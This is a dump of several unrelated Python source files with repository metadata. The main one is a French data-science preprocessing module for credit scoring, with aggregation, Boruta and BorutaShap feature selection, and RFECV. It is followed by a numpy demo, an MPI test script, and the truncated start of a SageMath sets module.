--------------------------------------------------------------------\r\n\r\ndef agg_var_num(dataframe, group_var, dict_agg, prefix):\r\n    \"\"\"\r\n    Aggregates the numeric values in a dataframe.\r\n    This can be used to create features for each instance of the grouping variable.\r\n    Parameters\r\n    --------\r\n        dataframe (dataframe): the dataframe to calculate the statistics on\r\n        group_var (string): the variable by which to group df\r\n        df_name (string): the variable used to rename the columns\r\n    Return\r\n    --------\r\n        agg (dataframe): \r\n            a dataframe with the statistics aggregated for \r\n            all numeric columns. Each instance of the grouping variable will have \r\n            some statistics (mean, min, max, sum ...) calculated. \r\n            The columns are also renamed to keep track of features created.\r\n    \r\n    \"\"\"\r\n    # Remove id variables other than grouping variable\r\n    for col in dataframe:\r\n        if col != group_var and 'SK_ID' in col:\r\n            dataframe = dataframe.drop(columns=col)\r\n\r\n    group_ids = dataframe[group_var]\r\n    numeric_df = dataframe.select_dtypes('number')\r\n    numeric_df[group_var] = group_ids\r\n\r\n    # Group by the specified variable and calculate the statistics\r\n    agg = numeric_df.groupby(group_var).agg(dict_agg)\r\n\r\n    # Ajout suffix mean, sum...\r\n    agg.columns = ['_'.join(tup).strip().upper()\r\n                   for tup in agg.columns.values]\r\n\r\n    # Ajout du prefix bureau_balance pour avoir une id\u00e9e du fichier\r\n    agg.columns = [prefix + '_' + col\r\n                   if col != group_var else col\r\n                   for col in agg.columns]\r\n\r\n    agg.reset_index(inplace=True)\r\n\r\n    return agg\r\n\r\n\r\n# --------------------------------------------------------------------\r\n# -- AGGREGATION DES VARIABLES STATISTIQUES des VAR QUALITATIVES\r\n# --------------------------------------------------------------------\r\n\r\ndef agg_var_cat(dataframe, group_var, prefix):\r\n    '''\r\n        Aggregates the categorical features in a child dataframe\r\n        for each observation of the parent variable.\r\n        \r\n        Parameters\r\n        --------\r\n        - dataframe        : pandas dataframe\r\n                    The dataframe to calculate the value counts for.\r\n            \r\n        - parent_var : string\r\n                    The variable by which to group and aggregate \r\n                    the dataframe. For each unique value of this variable, \r\n                    the final dataframe will have one row\r\n            \r\n        - prefix    : string\r\n                    Variable added to the front of column names \r\n                    to keep track of columns\r\n\r\n        Return\r\n        --------\r\n        categorical : pandas dataframe\r\n                    A dataframe with aggregated statistics for each observation \r\n                    of the parent_var\r\n                    The columns are also renamed and columns with duplicate values \r\n                    are removed.\r\n    '''\r\n    \r\n    # Select the categorical columns\r\n    categorical = pd.get_dummies(dataframe.select_dtypes('object'))\r\n\r\n    # Make sure to put the identifying id on the column\r\n    categorical[group_var] = dataframe[group_var]\r\n\r\n    # Groupby the group var and calculate the sum and mean\r\n    categorical = categorical.groupby(group_var).agg(['sum', 'count', 'mean'])\r\n    \r\n    column_names = []\r\n    \r\n    # Iterate through the columns in level 0\r\n    for var in categorical.columns.levels[0]:\r\n        # Iterate through the stats in level 1\r\n        for stat in ['sum', 'count', 'mean']:\r\n            # Make a new column name\r\n            column_names.append('%s_%s_%s' % (prefix, var, stat))\r\n    \r\n    categorical.columns = column_names\r\n    \r\n    # Remove duplicate columns by values\r\n    # _, idx = np.unique(categorical, axis = 1, return_index = True)\r\n    # categorical = categorical.iloc[:, idx]\r\n    \r\n    return categorical\r\n\r\n# --------------------------------------------------------------------\r\n# -- AGGREGATION DES VARIABLES STATISTIQUES des VAR QUANTITATIVES\r\n# -- PAR MOYENNE PAR SK_ID_CURR de pr\u00eats\r\n# --------------------------------------------------------------------\r\n\r\ndef agg_moy_par_pret(dataframe, group_var, prefix):\r\n    \"\"\"Aggregates the numeric values in a dataframe. This can\r\n    be used to create features for each instance of the grouping variable.\r\n    \r\n    Parameters\r\n    --------\r\n        dataframe (dataframe): \r\n            the dataframe to calculate the statistics on\r\n        group_var (string): \r\n            the variable by which to group df\r\n        prefix (string): \r\n            the variable used to rename the columns\r\n        \r\n    Return\r\n    --------\r\n        agg (dataframe): \r\n            a dataframe with the statistics aggregated for \r\n            all numeric columns. Each instance of the grouping variable will have \r\n            the statistics (mean, min, max, sum; currently supported) calculated. \r\n            The columns are also renamed to keep track of features created.\r\n    \r\n    \"\"\"\r\n    # Remove id variables other than grouping variable\r\n    for col in dataframe:\r\n        if col != group_var and 'SK_ID' in col:\r\n            dataframe = dataframe.drop(columns = col)\r\n            \r\n    group_ids = dataframe[group_var]\r\n    numeric_df = dataframe.select_dtypes('number')\r\n    numeric_df[group_var] = group_ids\r\n\r\n    # Group by the specified variable and calculate the statistics\r\n    agg = numeric_df.groupby(group_var).agg(['mean']).reset_index()\r\n\r\n    # Need to create new column names\r\n    columns = [group_var]\r\n\r\n    # Iterate through the variables names\r\n    for var in agg.columns.levels[0]:\r\n        # Skip the grouping variable\r\n        if var != group_var:\r\n            # Iterate through the stat names\r\n            for stat in agg.columns.levels[1][:-1]:\r\n                # Make a new column name for the variable and stat\r\n                columns.append('%s_%s_%s' % (prefix, var, stat))\r\n\r\n    agg.columns = columns\r\n    \r\n    return agg\r\n\r\n# --------------------------------------------------------------------\r\n# -- GESTION DES VARIABLES FORTEMENT COLINEAIRES\r\n# --------------------------------------------------------------------\r\n\r\ndef suppr_var_colineaire(dataframe, seuil=0.8):\r\n    '''\r\n    R\u00e9cup\u00e9ration de la liste des variables fortement corr\u00e9l\u00e9es sup\u00e9rieur\r\n    au seuil transmis.\r\n    Parameters\r\n    ----------\r\n    dataframe : dataframe \u00e0 analyser, obligatoire.\r\n    seuil : le seuil de colin\u00e9arit\u00e9 entre les variables (0.8 par d\u00e9faut).\r\n    Returns\r\n    -------\r\n    cols_corr_a_supp : liste des variables \u00e0 supprimer.\r\n    '''\r\n    \r\n    # Matrice de corr\u00e9lation avec valeur absolue pour ne pas avoir \u00e0 g\u00e9rer\r\n    # les corr\u00e9lations positives et n\u00e9gatives s\u00e9par\u00e9ment\r\n    corr = dataframe.corr().abs()\r\n    # On ne conserve que la partie sup\u00e9rieur \u00e0 la diagonale pour n'avoir\r\n    # qu'une seule fois les corr\u00e9lations prisent en compte (sym\u00e9trie axiale)\r\n    corr_triangle = corr.where(np.triu(np.ones(corr.shape), k=1)\r\n                               .astype(np.bool))\r\n    \r\n    # Variables avec un coef de Pearson > 0.8?\r\n    cols_corr_a_supp = [var for var in corr_triangle.columns\r\n                        if any(corr_triangle[var] > seuil)]\r\n    print(f'{len(cols_corr_a_supp)} variables fortement corr\u00e9l\u00e9es \u00e0 supprimer :\\n')\r\n    for var in cols_corr_a_supp:\r\n        print(var)\r\n        \r\n    return cols_corr_a_supp\r\n\r\n# --------------------------------------------------------------------\r\n# -- FEATURES SELECTION AVEC BORUTA ET MODELE RANDOMFOREST\r\n# --------------------------------------------------------------------\r\n\r\ndef features_selection_boruta(dataframe, titre):\r\n    '''\r\n    \r\n    Parameters\r\n    ----------\r\n    dataframe : dataframe dont on veut extraire les features importances\r\n                avec boruta, obligatoire.\r\n    Returns\r\n    -------\r\n    df_fs_boruta : liste des variables avec haute importance selon boruta.\r\n\r\n    '''\r\n    # Sauvegarde des \u00e9tiquettes\r\n    dataframe_labels = dataframe['TARGET']\r\n    \r\n    # Suppression des identifiants (variable non utile pour les variables\r\n    # pertinentes)\r\n    dataframe = dataframe.drop(columns=['SK_ID_CURR'])\r\n    dataframe = dataframe.drop(columns=['TARGET'])\r\n    print(f'train_fs_boruta : {dataframe.shape}')\r\n    \r\n    # Initialisation des variables\r\n    X = dataframe.values\r\n    y = dataframe_labels.values.ravel()\r\n    \r\n    rf = RandomForestClassifier(n_jobs=-1,\r\n                            class_weight='balanced',\r\n                            max_depth=5)\r\n    \r\n    # Initialisation de Boruta\r\n    boruta_feature_selector = BorutaPy(rf,\r\n                                       n_estimators='auto',\r\n                                       verbose=2,\r\n                                       random_state=21,\r\n                                       max_iter=50,\r\n                                       perc=90)\r\n    # Entra\u00eenement\r\n    boruta_feature_selector.fit(X, y)\r\n    \r\n    # On applique le mod\u00e8le sur le dataset\r\n    X_filtered = boruta_feature_selector.transform(X)\r\n    print(f'X_transform : {X_filtered.shape}')\r\n    \r\n    # Liste des variables confirm\u00e9es avec une haute importance\r\n    fs_boruta = list()\r\n    features = [f for f in dataframe.columns]\r\n    indexes = np.where(boruta_feature_selector.support_ == True)\r\n    for x in np.nditer(indexes):\r\n        fs_boruta.append(features[x])\r\n    print(f'fs_boruta : {fs_boruta}') \r\n    \r\n    # Dataframe de features importance avec boruta\r\n    df_fs_boruta = pd.DataFrame(fs_boruta)\r\n    \r\n    # Sauvegarde des features importances avec boruta\r\n    fic_sav_fs_boruta = \\\r\n        '../sauvegarde/features-selection/' + titre + '.pickle'\r\n    with open(fic_sav_fs_boruta, 'wb') as f:\r\n        pickle.dump(df_fs_boruta, f, pickle.HIGHEST_PROTOCOL)\r\n    \r\n    return df_fs_boruta\r\n\r\n\r\n# --------------------------------------------------------------------\r\n# -- FEATURES SELECTION AVEC BORUTA ET MODELE LIGHTGBM\r\n# --------------------------------------------------------------------\r\n\r\ndef features_selection_boruta_lgbm(dataframe, titre):\r\n    '''\r\n    \r\n    Parameters\r\n    ----------\r\n    dataframe : dataframe dont on veut extraire les features importances\r\n                avec boruta, obligatoire.\r\n    Returns\r\n    -------\r\n    df_fs_boruta : liste des variables avec haute importance selon boruta.\r\n\r\n    '''\r\n    # Sauvegarde des \u00e9tiquettes\r\n    dataframe_labels = dataframe['TARGET']\r\n    \r\n    # Suppression des identifiants (variable non utile pour les variables\r\n    # pertinentes)\r\n    dataframe = dataframe.drop(columns=['SK_ID_CURR'])\r\n    dataframe = dataframe.drop(columns=['TARGET'])\r\n    print(f'train_fs_boruta : {dataframe.shape}')\r\n    \r\n    # Initialisation des variables\r\n    X = dataframe.values\r\n    y = dataframe_labels.values.ravel()\r\n    \r\n    # Create the model with several hyperparameters\r\n    lgbm = lgb.LGBMClassifier(objective='binary',\r\n                              boosting_type='goss',\r\n                              n_estimators=10000,\r\n                              class_weight='balanced',\r\n                              num_boost_round=100)\r\n    \r\n    # Initialisation de Boruta\r\n    boruta_feature_selector = BorutaPy(lgbm,\r\n                                       n_estimators='auto',\r\n                                       verbose=2,\r\n                                       random_state=21,\r\n                                       max_iter=50,\r\n                                       perc=90)\r\n    # Entra\u00eenement\r\n    boruta_feature_selector.fit(X, y)\r\n    \r\n    # On applique le mod\u00e8le sur le dataset\r\n    X_filtered = boruta_feature_selector.transform(X)\r\n    print(f'X_transform : {X_filtered.shape}')\r\n    \r\n    # Liste des variables confirm\u00e9es avec une haute importance\r\n    fs_boruta = list()\r\n    features = [f for f in dataframe.columns]\r\n    indexes = np.where(boruta_feature_selector.support_ == True)\r\n    for x in np.nditer(indexes):\r\n        fs_boruta.append(features[x])\r\n    print(f'fs_boruta : {fs_boruta}') \r\n    \r\n    # Dataframe de features importance avec boruta\r\n    df_fs_boruta = pd.DataFrame(fs_boruta)\r\n    \r\n    # Sauvegarde des features importances avec boruta\r\n    fic_sav_fs_boruta = \\\r\n        '../sauvegarde/features-selection/' + titre + '.pickle'\r\n    with open(fic_sav_fs_boruta, 'wb') as f:\r\n        pickle.dump(df_fs_boruta, f, pickle.HIGHEST_PROTOCOL)\r\n    \r\n    return df_fs_boruta\r\n\r\n\r\nclass BorutaPyForLGB(BorutaPy):\r\n    def __init__(self, estimator, n_estimators=1000, perc=100, alpha=0.05,\r\n                 two_step=True, max_iter=100, random_state=None, verbose=0):\r\n        super().__init__(estimator, n_estimators, perc, alpha,\r\n                         two_step, max_iter, random_state, verbose)\r\n        self._is_lightgbm = 'lightgbm' in str(type(self.estimator))\r\n        \r\n    def _fit(self, X, y):\r\n        # check input params\r\n        self._check_params(X, y)\r\n\r\n        if not isinstance(X, np.ndarray):\r\n            X = self._validate_pandas_input(X) \r\n        if not isinstance(y, np.ndarray):\r\n            y = self._validate_pandas_input(y)\r\n\r\n        self.random_state = check_random_state(self.random_state)\r\n        # setup variables for Boruta\r\n        n_sample, n_feat = X.shape\r\n        _iter = 1\r\n        # holds the decision about each feature:\r\n        # 0  - default state = tentative in original code\r\n        # 1  - accepted in original code\r\n        # -1 - rejected in original code\r\n        dec_reg = np.zeros(n_feat, dtype=np.int)\r\n        # counts how many times a given feature was more important than\r\n        # the best of the shadow features\r\n        hit_reg = np.zeros(n_feat, dtype=np.int)\r\n        # these record the history of the iterations\r\n        imp_history = np.zeros(n_feat, dtype=np.float)\r\n        sha_max_history = []\r\n\r\n        # set n_estimators\r\n        if self.n_estimators != 'auto':\r\n            self.estimator.set_params(n_estimators=self.n_estimators)\r\n\r\n        # main feature selection loop\r\n        while np.any(dec_reg == 0) and _iter < self.max_iter:\r\n            # find optimal number of trees and depth\r\n            if self.n_estimators == 'auto':\r\n                # number of features that aren't rejected\r\n                not_rejected = np.where(dec_reg >= 0)[0].shape[0]\r\n                n_tree = self._get_tree_num(not_rejected)\r\n                self.estimator.set_params(n_estimators=n_tree)\r\n\r\n            # make sure we start with a new tree in each iteration\r\n            if self._is_lightgbm:\r\n                self.estimator.set_params(random_state=self.random_state.randint(0, 10000))\r\n            else:\r\n                self.estimator.set_params(random_state=self.random_state)\r\n\r\n            # add shadow attributes, shuffle them and train estimator, get imps\r\n            cur_imp = self._add_shadows_get_imps(X, y, dec_reg)\r\n\r\n            # get the threshold of shadow importances we will use for rejection\r\n            imp_sha_max = np.percentile(cur_imp[1], self.perc)\r\n\r\n            # record importance history\r\n            sha_max_history.append(imp_sha_max)\r\n            imp_history = np.vstack((imp_history, cur_imp[0]))\r\n\r\n            # register which feature is more imp than the max of shadows\r\n            hit_reg = self._assign_hits(hit_reg, cur_imp, imp_sha_max)\r\n\r\n            # based on hit_reg we check if a feature is doing better than\r\n            # expected by chance\r\n            dec_reg = self._do_tests(dec_reg, hit_reg, _iter)\r\n\r\n            # print out confirmed features\r\n            if self.verbose > 0 and _iter < self.max_iter:\r\n                self._print_results(dec_reg, _iter, 0)\r\n            if _iter < self.max_iter:\r\n                _iter += 1\r\n\r\n        # we automatically apply R package's rough fix for tentative ones\r\n        confirmed = np.where(dec_reg == 1)[0]\r\n        tentative = np.where(dec_reg == 0)[0]\r\n        # ignore the first row of zeros\r\n        tentative_median = np.median(imp_history[1:, tentative], axis=0)\r\n        # which tentative to keep\r\n        tentative_confirmed = np.where(tentative_median\r\n                                       > np.median(sha_max_history))[0]\r\n        tentative = tentative[tentative_confirmed]\r\n\r\n        # basic result variables\r\n        self.n_features_ = confirmed.shape[0]\r\n        self.support_ = np.zeros(n_feat, dtype=np.bool)\r\n        self.support_[confirmed] = 1\r\n        self.support_weak_ = np.zeros(n_feat, dtype=np.bool)\r\n        self.support_weak_[tentative] = 1\r\n\r\n        # ranking, confirmed variables are rank 1\r\n        self.ranking_ = np.ones(n_feat, dtype=np.int)\r\n        # tentative variables are rank 2\r\n        self.ranking_[tentative] = 2\r\n        # selected = confirmed and tentative\r\n        selected = np.hstack((confirmed, tentative))\r\n        # all rejected features are sorted by importance history\r\n        not_selected = np.setdiff1d(np.arange(n_feat), selected)\r\n        # large importance values should rank higher = lower ranks -> *(-1)\r\n        imp_history_rejected = imp_history[1:, not_selected] * -1\r\n\r\n        # update rank for not_selected features\r\n        if not_selected.shape[0] > 0:\r\n                # calculate ranks in each iteration, then median of ranks across feats\r\n                iter_ranks = self._nanrankdata(imp_history_rejected, axis=1)\r\n                rank_medians = np.nanmedian(iter_ranks, axis=0)\r\n                ranks = self._nanrankdata(rank_medians, axis=0)\r\n\r\n                # set smallest rank to 3 if there are tentative feats\r\n                if tentative.shape[0] > 0:\r\n                    ranks = ranks - np.min(ranks) + 3\r\n                else:\r\n                    # and 2 otherwise\r\n                    ranks = ranks - np.min(ranks) + 2\r\n                self.ranking_[not_selected] = ranks\r\n        else:\r\n            # all are selected, thus we set feature supports to True\r\n            self.support_ = np.ones(n_feat, dtype=np.bool)\r\n\r\n        self.importance_history_ = imp_history\r\n\r\n        # notify user\r\n        if self.verbose > 0:\r\n            self._print_results(dec_reg, _iter, 1)\r\n        return self\r\n    \r\n\r\ndef tracer_features_importance(dataframe, df_features_importance, jeu, methode):\r\n    \"\"\"\r\n    Affiche l'\u00e9tape puis nombre de lignes et de variables pour le dataframe transmis\r\n    Parameters\r\n    ----------\r\n    @param IN : dataframe : DataFrame, obligatoire\r\n                df_features_importance : dataframe de suivi des dimensions,\r\n                                         obligatoire\r\n                jeu : jeu de donn\u00e9es train_set, train set avec imputation 1...\r\n                methode : titre du mod\u00e8le de feature s\u00e9lection\r\n    @param OUT : dataframe de suivi des dimensions\r\n    \"\"\"\r\n    # Nombre de variables retenues lors de la feature selection\r\n    n_features = dataframe.shape[0]\r\n    print(f'{jeu} - {methode} : {n_features} variables importantes conserv\u00e9es')\r\n\r\n    df_features_importance = \\\r\n        df_features_importance.append({'Jeu_donn\u00e9es': jeu,\r\n                                       'M\u00e9thode': methode,\r\n                                       'Nb_var_importante': n_features},\r\n                                       ignore_index=True)\r\n\r\n    # Suivi dimensions\r\n    return df_features_importance\r\n\r\n# --------------------------------------------------------------------\r\n# -- FEATURES SELECTION AVEC BORUTASHAP ET MODELE LIGHTGBM\r\n# --------------------------------------------------------------------\r\n\r\ndef features_selection_borutashap_lgbm(dataframe, titre):\r\n    '''\r\n    \r\n    Parameters\r\n    ----------\r\n    dataframe : dataframe dont on veut extraire les features importances\r\n                avec boruta shap et mod\u00e8le LightGbm, obligatoire.\r\n    Returns\r\n    -------\r\n    df_fs_borutashap : liste des variables avec haute importance selon borutashap.\r\n\r\n    '''\r\n    # Sauvegarde des \u00e9tiquettes\r\n    dataframe_labels = dataframe['TARGET']\r\n    \r\n    # Suppression des identifiants (variable non utile pour les variables\r\n    # pertinentes)\r\n    dataframe = dataframe.drop(columns=['SK_ID_CURR'])\r\n    dataframe = dataframe.drop(columns=['TARGET'])\r\n    print(f'train_fs_borutashap : {dataframe.shape}')\r\n    \r\n    # Initialisation des variables\r\n    X = dataframe\r\n    y = dataframe_labels\r\n    \r\n    # Create the model with several hyperparameters\r\n    lgbm = lgb.LGBMClassifier(objective='binary',\r\n                              boosting_type='goss',\r\n                              n_estimators=10000,\r\n                              class_weight='balanced',\r\n                              num_boost_round=100)\r\n    \r\n    # Initialisation de BorutaShap\r\n    Feature_Selector = BorutaShap(model=lgbm,\r\n                                  importance_measure='shap',\r\n                                  classification=True)\r\n    \r\n    # Entra\u00eenement\r\n    Feature_Selector.fit(X=X, y=y, n_trials=100, random_state=0)\r\n        \r\n    # Liste des variables confirm\u00e9es avec une haute importance\r\n    fs_borshap_lgbm = Feature_Selector.accepted\r\n    print(f'fs_borshap_lgbm : {fs_borshap_lgbm}') \r\n    \r\n    # Dataframe de features importance avec borutashap\r\n    df_fs_borshap_lgbm = pd.DataFrame(fs_borshap_lgbm)\r\n    \r\n    # Sauvegarde des features importances avec boruta\r\n    fic_sav_fs_borutashap = \\\r\n        '../sauvegarde/features-selection/' + titre + '.pickle'\r\n    with open(fic_sav_fs_borutashap, 'wb') as f:\r\n        pickle.dump(df_fs_borshap_lgbm, f, pickle.HIGHEST_PROTOCOL)\r\n    \r\n    return df_fs_borshap_lgbm\r\n\r\n\r\ndef plot_permutation_importance_eli5(model, x_test, y_test):\r\n    '''\r\n    Affiche les SHAPE VALUES.\r\n    Parameters\r\n    ----------\r\n    model: le mod\u00e8le de machine learning, obligatoire\r\n    x_test :le jeu de test de la matrice X, obligatoire\r\n    y_test :le jeu de test de la target, obligatoire\r\n    perm : permutation importance\r\n    -------\r\n    None.\r\n    '''\r\n    perm = PermutationImportance(model, random_state=21).fit(x_test, y_test)\r\n    display(eli5.show_weights(perm, feature_names=x_test.columns.tolist()))\r\n    \r\n    return perm\r\n    \r\n# -----------------------------------------------------------------------\r\n# -- PLOT LES SHAP VALUES AVEC SKLEARN\r\n# -----------------------------------------------------------------------\r\n\r\n\r\ndef plot_permutation_importance(model, x_test, y_test, figsize=(6, 6)):\r\n    '''\r\n    Affiche les SHAPE VALUES.\r\n    Parameters\r\n    ----------\r\n    model: le mod\u00e8le de machine learning, obligatoire\r\n    x_test :le jeu de test de la matrice X, obligatoire\r\n    y_test :le jeu de test de la target, obligatoire\r\n    Returns\r\n    -------\r\n    perm_importance : permutation importance\r\n    '''\r\n    perm_importance = permutation_importance(model, x_test, y_test)\r\n\r\n    sorted_idx = perm_importance.importances_mean.argsort()\r\n    plt.figure(figsize=figsize)\r\n    plt.barh(x_test.columns[sorted_idx],\r\n             perm_importance.importances_mean[sorted_idx])\r\n    plt.xlabel(\"Permutation Importance (%)\")\r\n    plt.show()    \r\n    \r\n    return perm_importance \r\n\r\n\r\n# -----------------------------------------------------------------------\r\n# -- RFE-CV -recursuve feature elimination\r\n# -----------------------------------------------------------------------\r\n\r\ndef calcul_plot_rfecv(estimator, X_train, y_train, figsize=(8, 5)):\r\n    '''\r\n    Effectuer de la Recursive Feature\r\n    Parameters\r\n    ----------\r\n    estimator : mod\u00e8le r\u00e9duit par RFECV, obligatoire.\r\n    X_train : input du jeu d'entra\u00eenement, obligatoire\r\n    y_train : target du jeu d'entra\u00eenement, obligatoire\r\n    Returns\r\n    -------\r\n    features : permutation importance\r\n    '''\r\n\r\n    # RFECV\r\n    selector = RFECV(estimator=estimator, step=1,\r\n                     scoring='neg_mean_squared_error', cv=5, verbose=0)\r\n    selector.fit(X_train, y_train)\r\n\r\n    print(f'\\nLe nombre optimal de variables est : {selector.n_features_}')\r\n    features = [f for f, s in zip(X_train.columns, selector.support_) if s]\r\n    print('\\nLes variables s\u00e9lectionn\u00e9es sont:')\r\n    pprint(features)\r\n\r\n    # Plot RFECV\r\n    plt.figure(figsize=(16, 9))\r\n    plt.title(\r\n        'RFECV : Recursive Feature Elimination with Cross-Validation',\r\n        fontsize=18,\r\n        fontweight='bold',\r\n        pad=20)\r\n    plt.xlabel('Nombres de Variables s\u00e9lectionn\u00e9es', fontsize=14, labelpad=20)\r\n    plt.ylabel(\"Cross validation score (MSE)\", fontsize=14, labelpad=20)\r\n    plt.plot(range(1, len(selector.grid_scores_) + 1),\r\n             selector.grid_scores_, color='#303F9F', linewidth=3)\r\n\r\n    plt.show()\r\n\r\n    # Les variables non indispensables\r\n    print('\\nLes variables non indispensables :\\n')   \r\n    pprint(X_train.columns[np.where(selector.support_ == False)[0]])\r\n\r\n\r\n    # Plot importance des variables\r\n    dset = pd.DataFrame()\r\n    dset['variables'] = X_train.columns\r\n    dset['importance'] = selector.estimator_.feature_importances_\r\n\r\n    dset = dset.sort_values(by='importance', ascending=True)\r\n\r\n    plt.figure(figsize=figsize)\r\n    plt.barh(y=dset['variables'], width=dset['importance'], color='SteelBlue')\r\n    plt.title('RFECV - Importances des variables',\r\n              fontsize=20, fontweight='bold', pad=20)\r\n    plt.xlabel('Importance', fontsize=14, labelpad=20)\r\n    plt.show()\r\n\r\n    return features", "meta": {"hexsha": "4fa21bf7f1ae955fa04a18df7d2bc8409ac91bbe", "size": 52674, "ext": "py", "lang": "Python", "max_stars_repo_path": "OC-DS-P7-01-MODELLING/P7_01_10_outils_preprocessing.py", "max_stars_repo_name": "loedata/OC-DS-P7-Implementez_modele_scoring_dashboard", "max_stars_repo_head_hexsha": "199fe8f8ef7c52e2b5f2e025bf84af5c1da02696", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "OC-DS-P7-01-MODELLING/P7_01_10_outils_preprocessing.py", "max_issues_repo_name": "loedata/OC-DS-P7-Implementez_modele_scoring_dashboard", "max_issues_repo_head_hexsha": "199fe8f8ef7c52e2b5f2e025bf84af5c1da02696", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "OC-DS-P7-01-MODELLING/P7_01_10_outils_preprocessing.py", "max_forks_repo_name": "loedata/OC-DS-P7-Implementez_modele_scoring_dashboard", "max_forks_repo_head_hexsha": "199fe8f8ef7c52e2b5f2e025bf84af5c1da02696", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.6389830508, "max_line_length": 151, "alphanum_fraction": 0.5827732847, "include": true, "reason": "import numpy", "num_tokens": 12498, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12421300024700382, "lm_q1q2_score": 0.06016630352794079}}
{"text": "#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n# @Date    : Mar-04-20 21:33\r\n# @Author  : Your Name (you@example.org)\r\n# @Link    : http://example.org\r\n\r\nimport os\r\nimport numpy as np\r\n\r\n\r\ndef main():\r\n    np1 = np.ones(1)\r\n    print(np1)\r\n    int1from_np = int(np1)\r\n    print(int1from_np)\r\n    print(int1from_np == np1)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "meta": {"hexsha": "66e37e922a9d6b4f20c084b4918afbb55927ab1e", "size": 369, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy_basics/numpy2int.py", "max_stars_repo_name": "AI-Huang/deeplearning_basics", "max_stars_repo_head_hexsha": "0c0f45daaab42a25d2cd047cbecdca4f4bc7df59", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-27T08:43:59.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-27T08:43:59.000Z", "max_issues_repo_path": "numpy_basics/numpy2int.py", "max_issues_repo_name": "AI-Huang/deeplearning_basics", "max_issues_repo_head_hexsha": "0c0f45daaab42a25d2cd047cbecdca4f4bc7df59", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy_basics/numpy2int.py", "max_forks_repo_name": "AI-Huang/deeplearning_basics", "max_forks_repo_head_hexsha": "0c0f45daaab42a25d2cd047cbecdca4f4bc7df59", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.5714285714, "max_line_length": 41, "alphanum_fraction": 0.5636856369, "include": true, "reason": "import numpy", "num_tokens": 116, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.14223190046381007, "lm_q1q2_score": 0.06009363716439005}}
{"text": "# pylint: disable=missing-function-docstring, missing-module-docstring/\n# coding: utf-8\n\nfrom pyccel.stdlib.internal.mpi import mpi_init\nfrom pyccel.stdlib.internal.mpi import mpi_finalize\nfrom pyccel.stdlib.internal.mpi import mpi_comm_size\nfrom pyccel.stdlib.internal.mpi import mpi_comm_rank\nfrom pyccel.stdlib.internal.mpi import mpi_comm_world\n\nimport numpy as np\n\n# we need to declare these variables somehow,\n# since we are calling mpi subroutines\nierr = np.int32(-1)\nsize = np.int32(-1)\nrank = np.int32(-1)\n\nmpi_init(ierr)\n\ncomm = mpi_comm_world\n\nmpi_comm_size(comm, size, ierr)\nmpi_comm_rank(comm, rank, ierr)\n\nprint('I process ', rank, ', among ', size, ' processes')\n\nmpi_finalize(ierr)\n", "meta": {"hexsha": "8723212a8ecee449fb0d580b0f05ec62cca7da33", "size": 698, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/internal/scripts/mpi/who_am_i.py", "max_stars_repo_name": "noushi/pyccel", "max_stars_repo_head_hexsha": "f20846897ba2418dc0f432e293bcf8b4ddb24915", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/internal/scripts/mpi/who_am_i.py", "max_issues_repo_name": "noushi/pyccel", "max_issues_repo_head_hexsha": "f20846897ba2418dc0f432e293bcf8b4ddb24915", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/internal/scripts/mpi/who_am_i.py", "max_forks_repo_name": "noushi/pyccel", "max_forks_repo_head_hexsha": "f20846897ba2418dc0f432e293bcf8b4ddb24915", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-01-08T12:32:51.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-08T12:32:51.000Z", "avg_line_length": 24.9285714286, "max_line_length": 71, "alphanum_fraction": 0.7779369628, "include": true, "reason": "import numpy", "num_tokens": 186, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.38491213037224875, "lm_q2_score": 0.15610490333452273, "lm_q1q2_score": 0.060086670904045104}}
{"text": "\"\"\"\nSets\n\nAUTHORS:\n\n- William Stein (2005) - first version\n\n- William Stein (2006-02-16) - large number of documentation and\n  examples; improved code\n\n- Mike Hansen (2007-3-25) - added differences and symmetric\n  differences; fixed operators\n\n- Florent Hivert (2010-06-17) - Adapted to categories\n\n- Nicolas M. Thiery (2011-03-15) - Added subset and superset methods\n\n- Julian Rueth (2013-04-09) - Collected common code in\n  :class:`Set_object_binary`, fixed ``__hash__``.\n\n\"\"\"\n\n#*****************************************************************************\n#       Copyright (C) 2005 William Stein <wstein@gmail.com>\n#                     2013 Julian Rueth <julian.rueth@fsfe.org>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  